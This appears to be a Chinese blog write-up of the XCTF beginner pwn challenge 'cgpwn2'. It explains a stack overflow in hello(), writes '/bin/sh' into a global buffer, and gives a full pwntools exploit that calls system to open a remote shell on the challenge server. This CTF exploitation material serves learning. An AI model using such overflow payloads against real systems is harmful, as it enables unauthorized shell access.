欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

cgpwn2(xctf)

程序员文章站 2022-03-09 22:42:45
...

0x0 程序保护和流程

保护:

cgpwn2(xctf)

流程:

main()

cgpwn2(xctf)

hello()

cgpwn2(xctf)

可以发现在hello()中存在栈溢出。

0x1 利用过程

在函数窗口中发现了system()函数,所以我们只需要字符串"/bin/sh"。就可以getshell了。仔细观察程序可以发现name变量是全局变量存放在.bss段中。

cgpwn2(xctf)

所以我们只需要向name中输入"/bin/sh",s=‘a’*(0x26+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)就可以完成利用了。

0x2 exp

from pwn import *
bin_sh_addr=0x0804A080
elf=ELF('./a')
system_plt=elf.plt['system']
#sh=process('./a')
sh=remote('124.126.19.106','42579')
sh.recv()
sh.sendline('/bin/sh\x00')
payload='a'*(0x26+4)+p32(system_plt)+p32(0)+p32(bin_sh_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()
相关标签: xctf(新手区)